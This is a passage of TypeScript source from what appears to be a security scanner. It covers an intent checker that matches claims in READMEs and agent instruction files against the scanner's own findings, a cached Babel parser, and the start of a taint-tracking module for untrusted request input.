head of a vibe-coder. They wrote it down —\n * in the prompt, in the README the generator produced, in CLAUDE.md, in\n * .cursor/rules. Their spec is on disk. Ours is the one scanner whose users\n * reliably have one, which is exactly why nobody else asks for it: a team\n * hand-writing code keeps the spec in a ticket, or nowhere.\n *\n * ── The honesty constraint that shapes the whole design ──────────────────\n *\n * A mismatch is only ever reported when it can point at a CONCRETE FINDING\n * the scanner already produced, with a file and a line. There is no \"your\n * app might not do this\" verdict, and there is no separate auth detector\n * living in this file.\n *\n * That second point matters more than it looks. The obvious implementation\n * is to re-detect auth here — and this repo has paid for that mistake\n * repeatedly: three copies of calculateGrade, two drifted copies of\n * NON_APP_PATH_PATTERNS, four hand-written copies of the free/Pro split. So\n * intent facts are DERIVED FROM THE RULE FINDINGS THEMSELVES. When VC003\n * learned handler-scoped auth and four new endpoint shapes, this got those\n * for free, and it cannot disagree with the scan sitting next to it.\n *\n * ── What it does NOT do ─────────────────────────────────────────────────\n *\n * Not dataflow, not cross-file policy analysis, not \"CodeQL-grade\" anything\n * — docs/ROADMAP.md rules those out and it is right to. This reads sentences,\n * matches them to endpoints by topic, and asks whether a finding already\n * contradicts the sentence. That is a join, not an analysis.\n */\n\nimport type { Finding } from \"./types.js\";\nimport { extractRoutes, type AppRoute } from \"./routes.js\";\nimport { isVendoredFinding } from \"./vendored.js\";\n\n// ─────────────────────────────────────────────────────────── intent sources\n\nexport type IntentOrigin = \"declared\" | \"prompt-history\" | \"agent-instructions\" | \"readme\";\n\nexport interface IntentStatement {\n /** The sentence, trimmed of markdown noise. */\n text: string;\n /** Repo-relative file it came from. */\n source: string;\n /** 1-based line. */\n line: number;\n origin: IntentOrigin;\n}\n\n/**\n * Files that state what the project is supposed to do, most authoritative\n * first. A `.xploitscan-intent` file is a deliberate declaration by the user\n * and outranks a README, which outranks instructions written for an agent.\n */\nconst INTENT_SOURCES: Array<{ test: RegExp; origin: IntentOrigin }> = [\n { test: /(^|\\/)\\.xploitscan-intent$/i, origin: \"declared\" },\n // The CLI's --intent flag, passed as a synthetic file so it travels the\n // same path as a real spec. Named for what it is, so a finding reports\n // '--intent says ...' rather than claiming a file exists that does not.\n { test: /^--intent$/, origin: \"declared\" },\n // The prompt itself, where a tool preserves it. This is the purest signal\n // there is — it is what the person actually asked for, before anything was\n // generated — and it is the reason this feature can work at all for people\n // who never wrote a README.\n { test: /(^|\\/)\\.specstory\\/history\\/[^/]+\\.md$/i, origin: \"prompt-history\" },\n { test: /(^|\\/)\\.bolt\\/prompt$/i, origin: \"prompt-history\" },\n { test: /(^|\\/)(CLAUDE|AGENTS)\\.md$/i, origin: \"agent-instructions\" },\n { test: /(^|\\/)\\.cursorrules$/i, origin: \"agent-instructions\" },\n { test: /(^|\\/)\\.windsurfrules$/i, origin: \"agent-instructions\" },\n { test: /(^|\\/)\\.cursor\\/rules\\/[^/]+\\.mdc$/i, origin: \"agent-instructions\" },\n // 148,992 public repositories carry this file — more than any source here\n // except .cursor/rules, and it is the same kind of document as CLAUDE.md.\n { test: /(^|\\/)\\.github\\/copilot-instructions\\.md$/i, origin: \"agent-instructions\" },\n { test: /(^|\\/)README(\\.md)?$/i, origin: \"readme\" },\n];\n\n/**\n * Pull the human's turns out of a saved AI chat transcript.\n *\n * SpecStory writes Cursor and Claude Code sessions to .specstory/history/ as\n * markdown, with each turn marked `_**User**_` / `_**Assistant**_`. Only the\n * user's turns are intent; the assistant's replies are generated text and\n * would let the model's own confident summary of what it built count as a\n * specification, which is precisely backwards.\n *\n * These transcripts are noisy — \"push this to my repo\", \"Invalid API key\" —\n * and that is fine. A statement only reaches a finding if it matches a claim\n * pattern AND a rule contradicts it; on a 19-repo sample, 99.65% of harvested\n * statements matched no claim at all. Noise is already the common case.\n */\nfunction extractUserTurns(content: string): Array<{ text: string; line: number }> {\n const out: Array<{ text: string; line: number }> = [];\n const lines = content.split(\"\\n\");\n let capturing = false;\n for (let i = 0; i < lines.length; i++) {\n const t = lines[i].trim();\n if (/^_\\*\\*User\\*\\*_/.test(t)) { capturing = true; continue; }\n if (/^_\\*\\*(Assistant|Agent|System)[^_]*_/.test(t) || t === \"---\") { capturing = false; continue; }\n if (capturing && t) out.push({ text: t, line: i + 1 });\n }\n return out;\n}\n\n/** Lines that are structure or code, never a claim about behaviour. */\nfunction isProse(line: string): boolean {\n const t = line.trim();\n if (t.length < 15 || t.length > 400) return false;\n if (/^[#>|`~\\-=*_+[\\]]{3,}/.test(t)) return false; // rules, fences, tables\n if (/^\\s*[|]/.test(t)) return false; // table row\n if (/^\\s*(import|export|const|let|var|function|class|return|if|for)\\b/.test(t)) return false;\n if (/^https?:\\/\\//.test(t)) return false;\n return /[a-z]{3}/i.test(t);\n}\n\n/** Strip list bullets, heading marks and inline code fences. */\nfunction clean(line: string): string {\n return line\n .replace(/^\\s*(?:[-*+]|\\d+\\.)\\s+/, \"\")\n .replace(/^#+\\s*/, \"\")\n .replace(/[*_`]/g, \"\")\n .trim();\n}\n\n/**\n * Pull candidate intent sentences out of whatever the project wrote down.\n *\n * Deliberately conservative: only files whose whole purpose is to say what\n * the thing does. Scanning every markdown file in docs/ would drown the\n * signal in changelogs and ADRs.\n */\nexport function harvestIntent(\n files: Array<{ path: string; content: string }>,\n): IntentStatement[] {\n const out: IntentStatement[] = [];\n for (const file of files) {\n const match = INTENT_SOURCES.find((s) => s.test.test(file.path));\n if (!match) continue;\n // A chat transcript is not prose to be read line by line — only the\n // human's turns count. Handled before the markdown walk below.\n if (match.origin === \"prompt-history\" && /\\.specstory\\//i.test(file.path)) {\n for (const turn of extractUserTurns(file.content)) {\n for (const sentence of turn.text.split(/(?<=[.!?])\\s+(?=[A-Z])/)) {\n const text = clean(sentence).trim();\n if (text.length >= 15) {\n out.push({ text, source: file.path, line: turn.line, origin: match.origin });\n }\n }\n }\n continue;\n }\n\n // A sentence the user typed AT US is never filtered for length or prose\n // shape. The harvester's minimum exists to keep README boilerplate out;\n // applying it to a direct answer means \"Find cheese\" is dropped before it\n // is even classified, and the user is told nothing at all. Short, odd or\n // fragmentary input should come back as \"I cannot check that\", not as\n // silence.\n if (match.origin === \"declared\") {\n for (const line of file.content.split(\"\\n\")) {\n const text = clean(line).trim();\n if (text && !text.startsWith(\"#\")) {\n out.push({ text, source: file.path, line: 1, origin: match.origin });\n }\n }\n continue;\n }\n\n let inFence = false;\n const lines = file.content.split(\"\\n\");\n for (let i = 0; i < lines.length; i++) {\n const raw = lines[i];\n if (/^\\s*(```|~~~)/.test(raw)) { inFence = !inFence; continue; }\n if (inFence) continue;\n if (!isProse(raw)) continue;\n // One sentence per statement — a paragraph making three claims should\n // be able to contradict on one of them without implicating the others.\n for (const sentence of clean(raw).split(/(?<=[.!?])\\s+(?=[A-Z])/)) {\n const text = sentence.trim();\n if (text.length >= 15) {\n out.push({ text, source: file.path, line: i + 1, origin: match.origin });\n }\n }\n }\n }\n return out;\n}\n\n// ────────────────────────────────────────────────────── expectation catalog\n\n/**\n * A property a sentence claims the code has, and the rule findings that\n * prove it does not.\n *\n * Every `contradictedBy` entry is an existing, fixture-backed rule. Nothing\n * here re-implements detection; this table is purely the join between \"what\n * was promised\" and \"what the scanner already found\".\n */\nexport interface IntentExpectation {\n id: string;\n /** Phrases that assert this property. */\n claims: RegExp;\n /** Plain-English restatement, shown to the user. */\n expectation: string;\n /** Rules whose presence disproves the claim. */\n contradictedBy: string[];\n /** Only applies to endpoints that change state. */\n writesOnly?: boolean;\n}\n\nexport const INTENT_EXPECTATIONS: IntentExpectation[] = [\n {\n id: \"owner-scoped\",\n claims: /\\b(only|just)\\b[^.]{0,40}\\b(their own|his own|her own|its own|the(ir)? own)\\b|\\bown (data|records?|orders?|posts?|files?|documents?|projects?)\\b|\\bcan(?:'|no)?t (?:see|access|view|read) (?:other|another)\\b/i,\n expectation: \"each user can only reach rows that belong to them\",\n contradictedBy: [\"VC158\"],\n },\n {\n id: \"requires-auth\",\n claims: /\\b(require|requires|required|must)\\b[^.]{0,40}\\b(log ?in|logged ?in|sign(ed)? ?in|authenticat\\w+|an account|be a user)\\b|\\b(only|restricted to)\\b[^.]{0,30}\\b(authenticated|logged.?in|signed.?in|registered)\\b|\\bbehind (a )?(login|auth)\\b/i,\n expectation: \"the endpoint rejects unauthenticated callers\",\n contradictedBy: [\"VC003\", \"VC064\", \"VC127\", \"VC210\"],\n },\n {\n id: \"admin-only\",\n // \"nobody else can\" is included because it is how people actually write\n // this. \"Admins can refund an order; nobody else can\" states a privilege\n // boundary as plainly as \"admin-only\" does, and the first draft of this\n // pattern missed it — caught by the sentence battery in intent.test.ts,\n // which is why that battery exists.\n claims: /\\b(admin|administrator|moderator|staff)s?[- ]?(only|can only)\\b|\\bonly\\b[^.]{0,25}\\b(admins?|administrators?|moderators?)\\b|\\brole[- ]based\\b|\\brequires? (?:the )?(?:admin|moderator) role\\b|\\b(?:nobody|no ?one) else (?:can|may|should|is able to)\\b/i,\n expectation: \"the privilege is decided by the server, not the browser\",\n contradictedBy: [\"VC010\", \"VC085\", \"VC213\", \"VC214\"],\n },\n {\n id: \"private-data\",\n claims: /\\b(private|confidential|not public|never public|internal only)\\b/i,\n expectation: \"the data is not reachable without authentication\",\n contradictedBy: [\"VC003\", \"VC085\"],\n },\n {\n id: \"verified-webhooks\",\n claims: /\\bwebhooks?\\b[^.]{0,60}\\b(verif\\w+|signed|signature|authenticat\\w+)\\b|\\bverif\\w+[^.]{0,30}\\bwebhooks?\\b/i,\n expectation: \"webhook payloads are signature-verified before use\",\n contradictedBy: [\"VC005\", \"VC209\"],\n },\n {\n id: \"rate-limited\",\n claims: /\\brate[- ]?limit\\w*\\b|\\bthrottl\\w+\\b|\\bprevents? (?:abuse|brute[- ]?force)\\b/i,\n expectation: \"the endpoint enforces a request cap\",\n contradictedBy: [\"VC008\", \"VC130\"],\n },\n];\n\n// ────────────────────────────────────────────────────────── topic matching\n\n/** Words too common to identify a subject area. */\nconst STOPWORDS = new Set([\n \"the\", \"a\", \"an\", \"and\", \"or\", \"but\", \"for\", \"with\", \"that\", \"this\", \"their\",\n \"them\", \"they\", \"from\", \"into\", \"only\", \"own\", \"can\", \"cannot\", \"must\", \"will\",\n \"should\", \"have\", \"has\", \"not\", \"all\", \"any\", \"each\", \"every\", \"user\", \"users\",\n \"app\", \"application\", \"page\", \"pages\", \"data\", \"code\", \"site\", \"web\", \"api\",\n \"our\", \"your\", \"you\", \"when\", \"where\", \"which\", \"what\", \"who\",\n \"are\", \"was\", \"were\", \"been\", \"being\", \"does\", \"doing\", \"done\", \"just\",\n \"other\", \"another\", \"public\", \"private\", \"access\", \"accessible\",\n]);\n\nfunction topics(text: string): Set<string> {\n const out = new Set<string>();\n for (const w of text.toLowerCase().match(/[a-z][a-z-]{2,}/g) ?? []) {\n if (STOPWORDS.has(w)) continue;\n out.add(w);\n // crude singularisation so \"orders\" matches an /api/order route\n if (w.endsWith(\"ies\") && w.length > 4) out.add(`${w.slice(0, -3)}y`);\n else if (w.endsWith(\"ses\") && w.length > 4) out.add(w.slice(0, -2));\n else if (w.endsWith(\"s\") && !w.endsWith(\"ss\") && w.length > 3) out.add(w.slice(0, -1));\n }\n return out;\n}\n\n/**\n * A sentence that names the ABSENCE of a security property is describing a\n * vulnerability, not claiming the property.\n *\n * This matters more here than it would elsewhere, because the documents we\n * read are frequently a security tool's own README. XploitScan's says\n * \"webhook handlers without signature verification\" as a feature bullet —\n * a list of what it CATCHES — and a naive read of that sentence turns it\n * into \"this project verifies webhook signatures\", which then contradicts\n * every unverified handler in the repo. That was the single false positive\n * in a 905-statement self-scan, and it is the shape to guard against: the\n * negator governs the property, rather than the attack.\n *\n * The distinction is deliberate and narrow. \"Users cannot view other\n * people's invoices\" and \"uploaded files are never public\" are ALSO\n * negations, but they negate what an attacker can do, which is exactly how\n * a real access-control claim is phrased. Those must survive.\n */\nconst ABSENCE = /\\b(?:without|missing|lacks?|lacking|absent|no|not?)\\b[\\w\\s,/-]{0,30}\\b(?:verification|verified|signature|auth(?:entication|orization)?|rate[- ]?limits?|rate[- ]?limiting|validation|checks?|guards?)\\b/i;\n\nfunction describesAbsence(text: string): boolean {\n return ABSENCE.test(text);\n}\n\n/**\n * Routes a sentence explicitly carves OUT of its own claim.\n *\n * Real claims are rarely unqualified. Both genuine claims found in a 19-repo\n * sample of Lovable-built projects carried an exception:\n * \"All API routes (except /api/health) require authentication.\"\n * \"All API requests (except login/register) require authentication...\"\n * Reading the first half and ignoring the second turns a correctly-documented\n * public health check into a contradiction. The claim is not that everything\n * is authenticated; it is that everything except those is.\n */\nconst EXCEPTION = /\\b(?:except|excepting|other than|apart from|besides|excluding)\\b\\s*:?\\s*\\(?([^).;]{2,80})/i;\n\nfunction exemptions(text: string): string[] {\n const m = text.match(EXCEPTION);\n if (!m) return [];\n return (m[1].match(/[/a-z][\\w/-]{2,}/gi) ?? [])\n .map((s) => s.toLowerCase().replace(/^\\//, \"\"))\n .filter((s) => s.length > 2 && ![\"and\", \"the\", \"for\", \"routes\", \"requests\", \"endpoints\"].includes(s));\n}\n\n/** \"all / every / any …\" makes a claim about the whole surface, not one topic. */\nfunction isGlobalClaim(text: string): boolean {\n return /\\b(all|every|any|each|no one|nobody|everything)\\b/i.test(text)\n || /\\ball (?:api )?(?:routes?|endpoints?|pages?)\\b/i.test(text);\n}\n\nfunction pathTokens(p: string): Set<string> {\n return new Set(\n (p.toLowerCase().match(/[a-z][a-z-]{2,}/g) ?? []).filter((t) => !STOPWORDS.has(t)),\n );\n}\n\n/**\n * Does this sentence make ANY claim the six expectations can test?\n *\n * Needed because \"no mismatch\" has two completely different meanings and we\n * were printing the same reassuring line for both:\n *\n * - the sentence made a checkable claim and no finding disputes it\n * - the sentence made no checkable claim at all\n *\n * A user typed \"Find cheese\" and was told \"nothing in this scan contradicts\n * that\". True, useless, and it makes the whole feature look broken. The\n * honest answer is \"I could not find a claim I know how to check, and here\n * is what I can check.\"\n */\nexport function classifyStatement(text: string): {\n checkable: boolean;\n matched: string[];\n} {\n if (describesAbsence(text)) return { checkable: false, matched: [] };\n const matched = INTENT_EXPECTATIONS.filter((e) => e.claims.test(text)).map((e) => e.id);\n return { checkable: matched.length > 0, matched };\n}\n\n/**\n * What the checker understands, in the words a user would type. Exported so\n * the CLI and the web show the SAME list — a user told \"I can check X\" by one\n * surface and something else by another has been lied to by one of them.\n */\nexport const CHECKABLE_CLAIMS: Array<{ id: string; label: string; example: string }> = [\n { id: \"owner-scoped\", label: \"who can see whose data\", example: \"Customers can only see their own orders.\" },\n { id: \"requires-auth\", label: \"what needs a login\", example: \"Every API route requires the user to be logged in.\" },\n { id: \"admin-only\", label: \"what is admin-only\", example: \"Only admins can delete a workspace.\" },\n { id: \"private-data\", label: \"what is private\", example: \"Uploaded files are never public.\" },\n { id: \"verified-webhooks\", label: \"which webhooks are verified\", example: \"Stripe webhooks are signature verified.\" },\n { id: \"rate-limited\", label: \"what is rate limited\", example: \"The public API is rate limited.\" },\n];\n\n// ─────────────────────────────────────────────────────────────── the check\n\nexport interface IntentMismatch {\n /** Stable id for the pairing, so the same mismatch dedupes across runs. */\n id: string;\n statement: IntentStatement;\n expectationId: string;\n /** What the sentence implies the code does. */\n expectation: string;\n /** The findings that say otherwise. Never empty. */\n evidence: Finding[];\n /** The route the evidence sits on, when one could be identified. */\n route?: AppRoute;\n /**\n * `topic` — the sentence named a subject and a finding landed on a file or\n * route matching it. `global` — the sentence quantified over everything\n * (\"all API routes\"), so any contradicting finding counts.\n */\n basis: \"topic\" | \"global\";\n message: string;\n}\n\nexport interface IntentReport {\n statements: IntentStatement[];\n mismatches: IntentMismatch[];\n /**\n * Statements that made no claim any expectation understands. Distinguishing\n * these from \"checked and clean\" is the difference between a useful answer\n * and a reassuring non-answer.\n */\n uncheckable: IntentStatement[];\n /** Sources that were read, so a user can tell whether we found their spec. */\n sources: string[];\n /**\n * Expectations that matched a sentence and found NO contradiction. This is\n * the honest other half: \"you said X and nothing in the scan disputes it\"\n * is a weaker claim than \"X is true\", and is labelled that way.\n */\n unchallenged: Array<{ statement: IntentStatement; expectation: string }>;\n}\n\n/**\n * Join stated intent against findings the scanner already produced.\n *\n * `findings` must come from the same scan of the same files — this function\n * never re-scans, by design.\n */\nexport function checkIntent(\n files: Array<{ path: string; content: string }>,\n findings: Finding[],\n): IntentReport {\n const statements = harvestIntent(files);\n const sources = [...new Set(statements.map((s) => s.source))];\n const routes = extractRoutes(files).routes;\n const mismatches: IntentMismatch[] = [];\n const unchallenged: IntentReport[\"unchallenged\"] = [];\n const uncheckable: IntentStatement[] = [];\n\n const byRule = new Map<string, Finding[]>();\n for (const f of findings) {\n const list = byRule.get(f.rule);\n if (list) list.push(f);\n else byRule.set(f.rule, [f]);\n }\n\n const seen = new Set<string>();\n\n for (const statement of statements) {\n const global = isGlobalClaim(statement.text);\n const subject = topics(statement.text);\n\n // A sentence listing what a scanner FINDS is not a promise about this\n // codebase. See describesAbsence().\n if (describesAbsence(statement.text)) continue;\n\n // Record sentences we understood nothing in, so a caller can say so\n // rather than implying the code was checked against them.\n if (!classifyStatement(statement.text).checkable) {\n uncheckable.push(statement);\n continue;\n }\n\n for (const exp of INTENT_EXPECTATIONS) {\n if (!exp.claims.test(statement.text)) continue;\n\n const candidates = exp.contradictedBy.flatMap((r) => byRule.get(r) ?? []);\n if (candidates.length === 0) {\n unchallenged.push({ statement, expectation: exp.expectation });\n continue;\n }\n\n // A finding contradicts this sentence only if the sentence is about it.\n // Without this the first README line saying \"users must log in\" would\n // indict every public marketing route in the project.\n const exempt = exemptions(statement.text);\n\n const relevant = candidates.filter((f) => {\n // Evidence has to be about code the project actually wrote. A finding\n // in vendored, generated or example code does not count toward the\n // grade, so it cannot be used to contradict the README either — this\n // is the same classifier calculateGrade already holds out of scoring.\n // Without it, an example app bundled under .agent/skills/.../examples/\n // was cited as proof that a repo's real API was unauthenticated.\n if (isVendoredFinding(f)) return false;\n\n // Honour the sentence's own carve-outs.\n if (exempt.length) {\n const hay = `${f.file} ${routes.find((r) => r.source === f.file)?.path ?? \"\"}`.toLowerCase();\n if (exempt.some((e) => hay.includes(e))) return false;\n }\n\n if (global) return true;\n const fileTokens = pathTokens(f.file);\n const route = routes.find((r) => r.source === f.file);\n const routeTokens = route ? pathTokens(route.path) : new Set<string>();\n for (const t of subject) {\n if (fileTokens.has(t) || routeTokens.has(t)) return true;\n }\n return false;\n });\n\n if (relevant.length === 0) {\n unchallenged.push({ statement, expectation: exp.expectation });\n continue;\n }\n\n const route = routes.find((r) => r.source === relevant[0].file);\n const id = `INTENT-${exp.id}-${statement.source}:${statement.line}-${relevant[0].file}:${relevant[0].line}`;\n if (seen.has(id)) continue;\n seen.add(id);\n\n const where = route ? `${route.path} (${relevant[0].file}:${relevant[0].line})`\n : `${relevant[0].file}:${relevant[0].line}`;\n mismatches.push({\n id,\n statement,\n expectationId: exp.id,\n expectation: exp.expectation,\n evidence: relevant.slice(0, 5),\n route,\n basis: global ? \"global\" : \"topic\",\n message:\n `${statement.source}:${statement.line} says \"${statement.text}\" — ` +\n `so ${exp.expectation}. ${where} does not: ${relevant[0].title}.`,\n });\n }\n }\n\n return { statements, mismatches, sources, unchallenged, uncheckable };\n}\n","/**\n * Centralized Babel parser with per-file caching.\n *\n * Rules that opt in to AST analysis call parseFile(content, filename) to get\n * a Program node back. Parsing is expensive (~5-50ms per KB of source); the\n * LRU cache ensures a single scan pass touches each file at most once even\n * when multiple rules walk the same AST.\n *\n * Failure mode: returns null on parse errors. Callers fall back to regex-only\n * behavior so a syntax-error file in the user's repo can never break a scan.\n */\nimport { parse, type ParseResult } from \"@babel/parser\";\nimport type { File } from \"@babel/types\";\n\nexport interface ParsedFile {\n ast: ParseResult<File>;\n language: \"js\" | \"ts\" | \"jsx\" | \"tsx\";\n}\n\n// Bounded LRU so a 10k-file repo scan doesn't blow memory. Most scans\n// finish well under this cap.\nconst MAX_CACHE = 256;\nconst cache = new Map<string, ParsedFile | null>();\n\nfunction cacheKey(filename: string, contentHash: number): string {\n return `${filename}:${contentHash}`;\n}\n\n// Cheap content hash — collisions would cause a stale AST on the rare case\n// two identically-named files have distinct content during the same scan.\n// We add length + first/last byte to make that almost impossible in practice.\nfunction quickHash(s: string): number {\n let h = 5381;\n const step = Math.max(1, Math.floor(s.length / 32));\n for (let i = 0; i < s.length; i += step) {\n h = ((h << 5) + h + s.charCodeAt(i)) | 0;\n }\n return (h * 31 + s.length) | 0;\n}\n\nfunction pickLanguage(filename: string): ParsedFile[\"language\"] | null {\n if (/\\.tsx$/i.test(filename)) return \"tsx\";\n if (/\\.jsx$/i.test(filename)) return \"jsx\";\n if (/\\.(ts|cts|mts)$/i.test(filename)) return \"ts\";\n if (/\\.(js|cjs|mjs)$/i.test(filename)) return \"js\";\n return null;\n}\n\n/**\n * Parse a JS/TS file. Returns null for unsupported extensions, parse errors,\n * or empty content. Callers MUST handle null and fall back to regex-only.\n */\nexport function parseFile(content: string, filename: string): ParsedFile | null {\n const lang = pickLanguage(filename);\n if (!lang) return null;\n if (!content || content.length === 0) return null;\n\n const key = cacheKey(filename, quickHash(content));\n if (cache.has(key)) return cache.get(key) ?? null;\n\n const plugins: Array<string | [string, unknown]> = [];\n if (lang === \"ts\" || lang === \"tsx\") plugins.push(\"typescript\");\n if (lang === \"jsx\" || lang === \"tsx\") plugins.push(\"jsx\");\n plugins.push(\"decorators-legacy\", \"classProperties\", \"dynamicImport\", \"topLevelAwait\");\n\n let ast: ParseResult<File> | null = null;\n try {\n ast = parse(content, {\n sourceType: \"unambiguous\",\n allowImportExportEverywhere: true,\n allowReturnOutsideFunction: true,\n allowAwaitOutsideFunction: true,\n allowUndeclaredExports: true,\n errorRecovery: true,\n plugins: plugins as never,\n });\n } catch {\n // Parse error — treat as unparseable. Regex rules will still fire.\n cache.set(key, null);\n if (cache.size > MAX_CACHE) {\n const firstKey = cache.keys().next().value;\n if (firstKey !== undefined) cache.delete(firstKey);\n }\n return null;\n }\n\n const entry: ParsedFile = { ast, language: lang };\n cache.set(key, entry);\n if (cache.size > MAX_CACHE) {\n const firstKey = cache.keys().next().value;\n if (firstKey !== undefined) cache.delete(firstKey);\n }\n return entry;\n}\n\n/** Exported for tests only. Drops the AST cache between test runs. */\nexport function _resetParseCache(): void {\n cache.clear();\n}\n","/**\n * Lightweight taint tracking for AST-based rules.\n *\n * \"Tainted\" means \"derived from untrusted input\" — an Express/Next request\n * body, query string, params, or headers; process.argv; environment\n * variables known to be user-controlled; or file contents read at runtime.\n *\n * This is deliberately a local-only analysis: we walk the AST of one file,\n * track which identifiers bind to a tainted source, and propagate through\n * direct assignments and destructuring. Cross-function and cross-file flow\n * is out of scope for Phase A — those require a module graph we don't build\n * yet. A conservative local analysis is still enough to flip the benchmark\n * recall on the data-flow rules.\n *\n * The analysis returns a TaintMap the rules can query:\n * isTainted(node) → \"is this AST expression tainted?\"\n * isTaintedIdent(name) → \"is this identifier currently bound to tainted\n * data in the file-level scope?\"\n *\n * Shape of recognized sources:\n * req.body, req.query, req.params, req.headers, req.cookies\n * request.body, request.query, ... (Fastify)\n * ctx.request.body, ctx.query (Koa)\n * process.argv, process.env[Keys known to be user-controllable]\n * event.queryStringParameters, event.body (AWS Lambda / API Gateway)\n * searchParams.get(...), url.searchParams (Next.js / Web fetch API)\n */\nimport type { Node, CallExpression } from \"@babel/types\";\nimport type { NodePath } from \"@babel/traverse\";\n// eslint-disable-next-line @typescript-eslint/no-require-imports\nimport _traverse from \"@babel/traverse\";\nimport type { ParsedFile } from \"./parse.js\";\n\n// @babel/traverse ships CJS-default; the ESM interop gives us an object with\n// a default property in some bundlers.\nconst traverse = (\n typeof _traverse === \"function\" ? _traverse : (_traverse as { default: typeof _traverse }).default\n) as typeof _traverse;\n\n/** User-controlled property paths on Express/Fastify/Koa/Lambda request objects. */\nconst TAINTED_PROP_SUFFIXES = new Set([\n \"body\",\n \"query\",\n \"params\",\n \"headers\",\n \"cookies\",\n \"queryStringParameters\",\n \"pathParameters\",\n \"rawBody\",\n \"searchParams\",\n]);\n\n/** Objects whose request-like properties we treat as taint sources. */\nconst TAINTED_REQUEST_OBJECTS = new Set([\n \"req\",\n \"request\",\n \"ctx\", // Koa\n \"context\", // Koa alt\n \"event\", // Lambda\n]);\n\n// ── Taint-PRESERVING calls ──────────────────────────────────────────────\n// These don't *create* taint; they carry existing taint from an argument to\n// the return value. Because they only matter when the input is already\n// user-influenced, the false-positive surface is bounded: a downstream sink\n// rule fires only on data that genuinely derived from a tainted source.\n//\n// fs.readFile(<tainted path>) → reading a user-controlled path yields\n// attacker-influenced content\n// csv.parse(<tainted text>) → parsing tainted text yields tainted rows\n// (parsing is not sanitizing)\n\n/** Content read from a tainted (user-controlled) path is tainted. */\nconst FS_READ_METHODS = new Set([\"readFile\", \"readFileSync\"]);\n\n/** Parser namespaces whose `.parse(<tainted>)` preserves taint. */\nconst PARSE_OBJECTS = new Set([\n \"JSON\",\n \"csv\",\n \"papa\",\n \"Papa\",\n \"yaml\",\n \"YAML\",\n \"toml\",\n \"qs\",\n \"querystring\",\n]);\n/** Bare parser fns (e.g. csv-parse/sync default export `parse`). */\nconst PARSE_BARE = new Set([\"parse\", \"parseSync\"]);\n\n/** Array iteration methods whose callback element param inherits the receiver's taint. */\nconst ARRAY_ELEMENT_METHODS = new Set([\n \"map\",\n \"filter\",\n \"forEach\",\n \"find\",\n \"findIndex\",\n \"flatMap\",\n \"some\",\n \"every\",\n]);\n/** reduce/reduceRight pass the element as the SECOND callback param. */\nconst ARRAY_REDUCE_METHODS = new Set([\"reduce\", \"reduceRight\"]);\n\n/**\n * Call expressions that PRESERVE existing taint from an argument to the return\n * value. `rec` is the caller's taint predicate (so this works for both the\n * seeding pass and the query-time map). Returns true only when a non-spread\n * argument is already tainted — these never originate taint.\n */\nfunction callPreservesTaint(\n node: CallExpression,\n rec: (n: Node | null | undefined) => boolean,\n): boolean {\n const callee = node.callee;\n const anyArgTainted = () =>\n node.arguments.some((a) => a.type !== \"SpreadElement\" && rec(a as Node));\n if (callee.type === \"MemberExpression\" && callee.property.type === \"Identifier\") {\n const pname = callee.property.name;\n if (FS_READ_METHODS.has(pname)) return anyArgTainted();\n if (pname === \"parse\" || pname === \"parseSync\") {\n const obj = callee.object;\n if (obj.type === \"Identifier\" && PARSE_OBJECTS.has(obj.name)) return anyArgTainted();\n }\n }\n if (callee.type === \"Identifier\") {\n if (FS_READ_METHODS.has(callee.name)) return anyArgTainted();\n if (PARSE_BARE.has(callee.name)) return anyArgTainted();\n }\n return false;\n}\n\n// ── One-hop inter-procedural taint ──────────────────────────────────────\n// We summarize same-file helper functions whose parameters flow RAW into a\n// builder-shaped return (a template literal, `+` concatenation, or object/\n// array spread). A tainted argument to such a helper taints the call result.\n//\n// This is intentionally narrow because inter-procedural taint is the classic\n// SAST false-positive source. We follow ONLY the \"this helper builds a\n// string/object out of an unmodified parameter\" pattern — the genuinely\n// dangerous case. We deliberately do NOT follow:\n// - bare `return p` (validators: `if (!ok(p)) throw; return p`)\n// - `return sanitize(p)` (the param is consumed by another call that\n// may clean it — wrapping breaks the chain)\n// so a helper that validates or escapes its input is not treated as a\n// passthrough. Cross-file flow and method calls remain out of scope.\n\n/** `p` appears as a raw identifier or a member access rooted at it. */\nfunction isParamDerived(n: Node | null | undefined, p: string): boolean {\n if (!n) return false;\n if (n.type === \"Identifier\") return n.name === p;\n if (n.type === \"MemberExpression\") return isParamDerived(n.object, p);\n return false;\n}\n\n/** True if `p` flows raw into a string/object BUILDER shape in `n`. */\nfunction formattedFlow(n: Node | null | undefined, p: string): boolean {\n if (!n) return false;\n switch (n.type) {\n case \"TemplateLiteral\":\n return n.expressions.some(\n (e) => isParamDerived(e as Node, p) || formattedFlow(e as Node, p),\n );\n case \"BinaryExpression\":\n if (n.operator !== \"+\") return false;\n return (\n isParamDerived(n.left, p) ||\n isParamDerived(n.right, p) ||\n formattedFlow(n.left, p) ||\n formattedFlow(n.right, p)\n );\n case \"ObjectExpression\":\n return n.properties.some(\n (pr) => pr.type === \"SpreadElement\" && isParamDerived(pr.argument as Node, p),\n );\n case \"ArrayExpression\":\n return n.elements.some(\n (el) => el != null && el.type === \"SpreadElement\" && isParamDerived(el.argument as Node, p),\n );\n case \"ConditionalExpression\":\n return formattedFlow(n.consequent, p) || formattedFlow(n.alternate, p);\n case \"AwaitExpression\":\n return formattedFlow(n.argument, p);\n default:\n return false;\n }\n}\n\n/** Collect a function's return arguments without descending into nested fns. */\nfunction collectReturnArgs(fn: Node): Node[] {\n const out: Node[] = [];\n if (fn.type === \"ArrowFunctionExpression\" && fn.body.type !== \"BlockStatement\") {\n out.push(fn.body as Node);\n return out;\n }\n const visit = (n: unknown): void => {\n if (!n || typeof n !== \"object\") return;\n const node = n as Node & Record<string, unknown>;\n if (typeof node.type !== \"string\") return;\n if (node.type === \"ReturnStatement\") {\n const arg = (node as { argument?: Node }).argument;\n if (arg) out.push(arg);\n return;\n }\n // A nested function has its own returns — don't attribute them to `fn`.\n if (\n node.type === \"FunctionDeclaration\" ||\n node.type === \"FunctionExpression\" ||\n node.type === \"ArrowFunctionExpression\"\n ) {\n return;\n }\n for (const key of Object.keys(node)) {\n const v = node[key];\n if (Array.isArray(v)) v.forEach(visit);\n else visit(v);\n }\n };\n visit((fn as { body?: Node }).body);\n return out;\n}\n\n/** Param indices that flow raw into a builder-shaped return. */\nfunction computePassthrough(fn: Node): Set<number> {\n const params = (fn as { params?: Node[] }).params ?? [];\n const returns = collectReturnArgs(fn);\n const out = new Set<number>();\n for (let i = 0; i < params.length; i++) {\n const param = params[i];\n if (param.type !== \"Identifier\") continue;\n const name = param.name;\n if 